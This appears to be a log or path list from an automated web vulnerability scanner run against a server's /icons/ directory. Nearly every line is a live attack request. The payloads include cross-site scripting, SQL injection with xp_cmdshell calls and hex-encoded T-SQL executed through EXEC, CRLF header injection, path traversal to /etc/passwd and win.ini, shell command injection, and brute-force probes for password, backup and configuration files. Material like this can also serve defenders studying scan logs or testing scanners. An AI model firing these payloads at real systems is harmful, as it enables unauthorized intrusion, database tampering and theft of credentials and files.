/icons/?C=Foobar%3f%0d%0aAppScanHeader:%20AppScanValue%2f1%2e2%2d3%0d%0aSecondAppScanHeader:%20whatever
/icons/?C=M;O=A
/icons/?C=N;O=D
/icons/?C=N;O=D#&<(,+">;
/icons/?C=N;O=D%a5'%20having%201=1--
/icons/?C=N;O=D%uFF07
/icons/?C=N;O=D&%3E%27%22%3E%3Cscript%3Ealert%2832403%29%3C%2Fscript%3E=123
/icons/?C=N;O=D&%3E%27%22%3E%3Cscript%3Ealert%2832407%29%3C%2Fscript%3E=123
/icons/?C=N;O=D'"WFXSSProbe)/>
/icons/?C=N;O=D'%20+%20'somechars
/icons/?C=N;O=D'%20and%20'barfoo'='foobar
/icons/?C=N;O=D'%20and%20'barfoo'='foobar'%20--
/icons/?C=N;O=D'%20and%20'barfoo'='foobar')%20--
/icons/?C=N;O=D'%20and%20'foobar'='foobar
/icons/?C=N;O=D'%20and%20'foobar'='foobar'%20--
/icons/?C=N;O=D'%20and%20'foobar'='foobar')%20--
/icons/?C=N;O=D'%20exec%20master..xp_cmdshell%20'vol'--
/icons/?C=N;O=D'%20having%201=1--
/icons/?C=N;O=D'%20or%20'foobar'='foobar
/icons/?C=N;O=D'%20or%20'foobar'='foobar'%20--
/icons/?C=N;O=D'%20or%20'foobar'='foobar')%20--
/icons/?C=N;O=D'%20||%20'somechars
/icons/?C=N;O=D';
/icons/?C=N;O=D)%20having%201=1--
/icons/?C=N;O=D1%20having%201=1--
/icons/?C=N;O=DWFXSSProbe
/icons/?C=N;O=D\'%20having%201=1--
/icons/?C=S;O=A
/icons/?C=WF'SQL"Probe;A--B
/icons/?C=\"
/icons/?C=\'
/icons/?C=\..\..\..\..\..\..\..\..\boot.ini
/icons/?C=\..\..\..\..\..\..\..\..\windows\win.ini
/icons/?C=\..\..\..\..\..\..\..\..\winnt\win.ini
/icons/?C=\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini
/icons/?C=\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini
/icons/?C=\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
/icons/?C=id|
/icons/?C=somechars'%20+%20'N;O=D
/icons/?C=somechars'%20||%20'N;O=D
/icons/?M=A
/icons/?S=D
/icons/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
/icons/CHANGELOG.txt
/icons/CHANGES
/icons/CHANGES.txt
/icons/CONFIGURE
/icons/COPYRIGHT.txt
/icons/CVS/
/icons/CVS/Entries
/icons/CVS/Repository
/icons/CVS/Root
/icons/ChangeLog
/icons/Copy%20of%20README
/icons/Copy%20of%20README.html
/icons/CreatedByHP4
/icons/Default.asp
/icons/Default.aspx
/icons/EDM-ViewController-context-root/browse.do?act=%3CSCRIPT%3Ealert(24856);%3C/SCRIPT%3E&amp;select=1177281
/icons/INSTALL
/icons/INSTALL.html
/icons/INSTALL.mysql.txt
/icons/INSTALL.pgsql.txt
/icons/LICENSE.txt
/icons/Login.aspx
/icons/Login.do
/icons/Makefile
/icons/Old%20README
/icons/Old%20README.html
/icons/OldREADME
/icons/OldREADME.html
/icons/Output-Build.txt
/icons/RCS/
/icons/README
/icons/README%20
/icons/README.$$$
/icons/README.-OLD
/icons/README.-old
/icons/README.0
/icons/README.000
/icons/README.1
/icons/README.ARC
/icons/README.BAC
/icons/README.BACKUP
/icons/README.BAK
/icons/README.BKUP
/icons/README.INC
/icons/README.OLD
/icons/README.ORIG
/icons/README.TEMP
/icons/README.TMP
/icons/README.arc
/icons/README.bac
/icons/README.backup
/icons/README.bak
/icons/README.cs
/icons/README.csproj
/icons/README.htm
/icons/README.html
/icons/README.html.1
/icons/README.html.ARC
/icons/README.html.BAC
/icons/README.html.BACKUP
/icons/README.html.BAK
/icons/README.html.BKUP
/icons/README.html.INC
/icons/README.html.OLD
/icons/README.html.ORIG
/icons/README.html.TMP
/icons/README.html.cs
/icons/README.html.old2
/icons/README.html.resx
/icons/README.html.sav
/icons/README.html.save
/icons/README.html.temp
/icons/README.html.vb
/icons/README.html.vsss.tmp
/icons/README.html/%22%3e%3cscript%3ealert(25368)%3c/script%3e
/icons/README.html/%22%3e%3cscript%3ealert(25374)%3c/script%3e
/icons/README.html/%3cimg%20src%3d%22javascript%3aalert(25370)%22%3e
/icons/README.html/%3cimg%20src%3d%22javascript%3aalert(25376)%22%3e
/icons/README.html/?>'"><script>alert(25372)</script>
/icons/README.html/?>'"><script>alert(25378)</script>
/icons/README.inc
/icons/README.lst
/icons/README.old
/icons/README.old2
/icons/README.orig
/icons/README.resx
/icons/README.sav
/icons/README.save
/icons/README.sln
/icons/README.temp
/icons/README.tmp
/icons/README.vb
/icons/README.vbproj
/icons/README.vsss.tmp
/icons/README.~1
/icons/README.~bk
/icons/README/%22%3e%3cscript%3ealert(25180)%3c/script%3e
/icons/README/%22%3e%3cscript%3ealert(25186)%3c/script%3e
/icons/README/%3cimg%20src%3d%22javascript%3aalert(25182)%22%3e
/icons/README/%3cimg%20src%3d%22javascript%3aalert(25188)%22%3e
/icons/README/?>'"><script>alert(25184)</script>
/icons/README/?>'"><script>alert(25190)</script>
/icons/README1
/icons/README?%3E%27%22%3E%3Cscript%3Ealert%2825194%29%3C%2Fscript%3E=123
/icons/README?%3E%27%22%3E%3Cscript%3Ealert%2825198%29%3C%2Fscript%3E=123
/icons/README?>'"><script>alert(25192)</script>
/icons/README?>'"><script>alert(25196)</script>
/icons/README?DEBUG=1
/icons/README?DEBUG=ON
/icons/README?Debug=T
/icons/README?Debug=true
/icons/README?Debug=yes
/icons/README?Foobar%0D%0AAppScanHeader:%20AppScanValue/1.2-3%0D%0aSecondAppScanHeader:%20whatever=Foobar%0D%0aAppScanHeader:%20AppScanValue/1.2-3%0D%0aSecondAppScanHeader:%20whatever
/icons/README?dbg=on
/icons/READMEFoobar%0d%0aAppScanHeader:%20AppScanValue%2f1%2e2%2d3%0d%0aSecondAppScanHeader:%20whatever
/icons/README~
/icons/README~1
/icons/README~bk
/icons/ReadMe.txt
/icons/SELECT%09'aa'%09FROM%09TAB
/icons/Shortcut%20to%20README
/icons/Shortcut%20to%20README.html
/icons/Stats/
/icons/ToDo
/icons/ToDo.txt
/icons/Trace.axd
/icons/WEB-INF./web.xml
/icons/WEB-INF/web.xml
/icons/WFDir25188/
/icons/WS_FTP.LOG
/icons/WS_FTP.ini
/icons/_README
/icons/_README.html
/icons/_root_.sys
/icons/_vti_cnf/
/icons/access.log
/icons/access_log
/icons/accounts.asp
/icons/ackcmdc.exe
/icons/add_category.asp
/icons/admin.asp
/icons/admin.aspx
/icons/admin.cfg
/icons/admin.cfm
/icons/admin.cgi
/icons/admin.conf
/icons/admin.dat
/icons/admin.data
/icons/admin.db
/icons/admin.dbf
/icons/admin.exe
/icons/admin.htm
/icons/admin.html
/icons/admin.htx
/icons/admin.ini
/icons/admin.lst
/icons/admin.php
/icons/admin.php3
/icons/admin.pl
/icons/admin.pw
/icons/admin.shtml
/icons/admin.txt
/icons/admin.udl
/icons/admin_/
/icons/admin_/help/..%255Cplsql.conf
/icons/adovbs.inc
/icons/application.cfm
/icons/asp/samples/viewcode.asp?file=index.asp
/icons/baddir123/
/icons/badfile123
/icons/badfile123.html
/icons/batch_add.asp
/icons/batch_manage.asp
/icons/changelog.htm
/icons/changelog.html
/icons/changes.xml
/icons/changs.txt
/icons/cleanup.log
/icons/cleanup.txt
/icons/common.inc
/icons/config.inc
/icons/configuration.inc
/icons/configure.txt
/icons/connect.asp?server=%3Cscript%3Ealert%2824902%29%3C%2Fscript%3E
/icons/connect.inc
/icons/connection.inc
/icons/content-space
/icons/core
/icons/customer.dbf
/icons/customers.dbf
/icons/data.dbf
/icons/data.htm
/icons/data.html
/icons/data.txt
/icons/database.inc
/icons/datafunc.inc
/icons/db.dbf
/icons/db.inc
/icons/dbconfig.inc
/icons/dbconn.inc
/icons/dbsamp.htm
/icons/debug.asp
/icons/debug.cfg
/icons/debug.cgi
/icons/debug.dat
/icons/debug.htm
/icons/debug.html
/icons/debug.inc
/icons/debug.pl
/icons/debug.txt
/icons/deploy.exe
/icons/dir.txt
/icons/dirs.txt
/icons/doexec.c
/icons/download.html
/icons/dvwssr.dll
/icons/email.txt
/icons/email_list.txt
/icons/email_template.txt
/icons/env.log
/icons/error.log
/icons/error_log
/icons/errors.log
/icons/errors_log
/icons/fuck.exe
/icons/functions.inc
/icons/global.inc
/icons/globals.jsa
/icons/hobbit.txt
/icons/icons.ace
/icons/icons.arj
/icons/icons.gz
/icons/icons.lha
/icons/icons.lzh
/icons/icons.rar
/icons/icons.sln
/icons/icons.tar
/icons/icons.zip
/icons/include.inc
/icons/info.txt
/icons/info2.txt
/icons/install.htm
/icons/install.log
/icons/install.txt
/icons/install.xml
/icons/intranet.html
/icons/inventory.dbf
/icons/ipswitch.ini
/icons/localstart.asp
/icons/log.asp
/icons/log.cgi
/icons/log.htm
/icons/log.html
/icons/log.php
/icons/login.asp
/icons/login.dbf
/icons/logon.cgi
/icons/logon.htm
/icons/logon.html
/icons/logon.pl
/icons/logs.asp
/icons/logs.cgi
/icons/logs.htm
/icons/logs.html
/icons/logs.php
/icons/maintainers.txt
/icons/members.dbf
/icons/mkilog.exe
/icons/nc.exe
/icons/netcat
/icons/netcat.c
/icons/netcat.exe
/icons/nonExistentPage.asp
/icons/nonExistentPage.aspx
/icons/nonExistentPage.cfm
/icons/nonExistentPage.cgi
/icons/nonExistentPage.html
/icons/nonExistentPage.jhtml
/icons/nonExistentPage.jsp
/icons/nonExistentPage.msp
/icons/nonExistentPage.nsf
/icons/nonExistentPage.php
/icons/nonExistentPage.php3
/icons/nonExistentPage.php4
/icons/nonExistentPage.pl
/icons/nonExistentPage.shtml
/icons/nph-test-cgi
/icons/ora_errs.log
/icons/order.htm
/icons/order.html
/icons/order.txt
/icons/orders.asp
/icons/orders.dat
/icons/orders.htm
/icons/orders.html
/icons/orders.txt
/icons/output-build.txt
/icons/owa_util.listprint
/icons/owa_util.listprint?p_theQuery=SELECT%20*%20FROM%20SYS.TAB&p_cname=&p_nsize=
/icons/owa_util.show_query_columns
/icons/owa_util.showsource
/icons/owa_util.signature
/icons/pass.asp
/icons/pass.cfg
/icons/pass.cgi
/icons/pass.dat
/icons/pass.data
/icons/pass.db
/icons/pass.dbf
/icons/pass.exe
/icons/pass.htm
/icons/pass.html
/icons/pass.htx
/icons/pass.ini
/icons/pass.lst
/icons/pass.pl
/icons/pass.txt
/icons/passwd
/icons/passwd.txt
/icons/password
/icons/password.asp
/icons/password.cfg
/icons/password.cgi
/icons/password.dat
/icons/password.data
/icons/password.db
/icons/password.dbf
/icons/password.exe
/icons/password.htm
/icons/password.html
/icons/password.htx
/icons/password.ini
/icons/password.lst
/icons/password.pl
/icons/password.txt
/icons/passwords.asp
/icons/passwords.cfg
/icons/passwords.cgi
/icons/passwords.dat
/icons/passwords.data
/icons/passwords.db
/icons/passwords.dbf
/icons/passwords.exe
/icons/passwords.htm
/icons/passwords.html
/icons/passwords.htx
/icons/passwords.ini
/icons/passwords.lst
/icons/passwords.pl
/icons/passwords.txt
/icons/phpmyadmin/sql.php3?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd
/icons/phpmyadmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd
/icons/products.dbf
/icons/pubs.dbf
/icons/query.inc
/icons/register.htm
/icons/register.html
/icons/register.txt
/icons/registration.htm
/icons/registration.html
/icons/registration.txt
/icons/registrations.htm
/icons/registrations.html
/icons/registrations.txt
/icons/robots.txt
/icons/root.exe
/icons/samples/asp/viewcode.asp?file=index.asp
/icons/scripts/comments.txt
/icons/security.dbf
/icons/sendmail.inc
/icons/server.log
/icons/servervar.asp
/icons/servervariables.asp
/icons/servervars.asp
/icons/services
/icons/servlet
/icons/site_mgmt.htm
/icons/site_mgmt.html
/icons/sitelist.txt
/icons/sitemap.gz
/icons/sitemap.xml
/icons/sitemap.xml.gz
/icons/sitestat.asp
/icons/sitestat.cgi
/icons/sitestat.htm
/icons/sitestat.html
/icons/sitestat.php
/icons/sitestats.asp
/icons/sitestats.cgi
/icons/sitestats.htm
/icons/sitestats.html
/icons/sitestats.php
/icons/small"><script>alert(097531);</script>
/icons/small/
/icons/small/%2e%2e/%2e%2e/%00.jsp
/icons/small/.DS_Store
/icons/small/.FBCIndex
/icons/small/.access
/icons/small/.addressbook
/icons/small/.bash_history
/icons/small/.bashrc
/icons/small/.forward
/icons/small/.htaccess
/icons/small/.htaccess.old
/icons/small/.htpasswd
/icons/small/.passwd
/icons/small//%22%3e%3cscript%3ealert(25600)%3c/script%3e
/icons/small//%22%3e%3cscript%3ealert(25606)%3c/script%3e
/icons/small//%3cimg%20src%3d%22javascript%3aalert(25602)%22%3e
/icons/small//%3cimg%20src%3d%22javascript%3aalert(25608)%22%3e
/icons/small//?>'"><script>alert(25604)</script>
/icons/small//?>'"><script>alert(25610)</script>
/icons/small//NoneExistent%0d%0aInjectedHeader:%20InjectedValue
/icons/small//Sites/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/icons/small//Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/icons/small//Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/icons/small//Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/icons/small//Sites/Samples/Knowledge/Push/ViewCode.asp?file=index.asp
/icons/small//Sites/Samples/Knowledge/Search/ViewCode.asp?file=index.asp
/icons/small//siteserver/publishing/viewcode.asp?file=index.asp
/icons/small/1170627984
/icons/small/21036885.old
/icons/small/<oot.ini
/icons/small/>+ACJ-+AD4APB-SCRIPT/TYPE=TEXT/VBSCRIPT+AD7-MSGBOX(123)+AA0APB-/SCRIPT+AD7-
/icons/small/?>'"><script>alert(25612)</script>
/icons/small/?>'"><script>alert(25616)</script>
/icons/small/?C=
/icons/small/?C="
/icons/small/?C=%00
/icons/small/?C=%22%20%7C%20%22id
/icons/small/?C=%22%20%7C%20%22vol
/icons/small/?C=%22%27
/icons/small/?C=%26%26id
/icons/small/?C=%26%26vol
/icons/small/?C=%27%20%7C%20%27id
/icons/small/?C=%27%20%7C%20%27vol
/icons/small/?C=%27;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0049004D00470020005300520043003D0022002F00570046005F0058005300520046002E00680074006D006C0022003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
/icons/small/?C=%27;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª650078006500630020006D00610073007400650072002E002E00780070005F0063006D0064007300680065006C006C0020002700730068007500740064006F0077006E0020002D0066002700%20AS%20NVARCHAR(4000));EXEC(@S);--
/icons/small/?C=%7C%7Cid
/icons/small/?C=%7C%7Cvol
/icons/small/?C=%7Cid
/icons/small/?C=%7Cvol
/icons/small/?C='
/icons/small/?C='%20+%20''%20+%20'N;O=D
/icons/small/?C='%20||%20'N;O=D
/icons/small/?C=)
/icons/small/?C=../../../../../../bin/id|
/icons/small/?C=../../../../../../usr/bin/id|
/icons/small/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini
/icons/small/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
/icons/small/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
/icons/small/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini
/icons/small/?C=/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
/icons/small/?C=/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
/icons/small/?C=/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
/icons/small/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
/icons/small/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
/icons/small/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
/icons/small/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini
/icons/small/?C=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini
/icons/small/?C=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini
/icons/small/?C=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini
/icons/small/?C=/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
/icons/small/?C=/..%5C..%5C..%5C..%5C..%5C..%5C/windows/win.ini
/icons/small/?C=/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini
/icons/small/?C=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini
/icons/small/?C=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini
/icons/small/?C=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini
/icons/small/?C=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini
/icons/small/?C=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini
/icons/small/?C=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini
/icons/small/?C=/../../../../../../../../boot.ini
/icons/small/?C=/../../../../../../../../etc/passwd
/icons/small/?C=/../../../../../../../../windows/win.ini
/icons/small/?C=/../../../../../../../../winnt/win.ini
/icons/small/?C=;
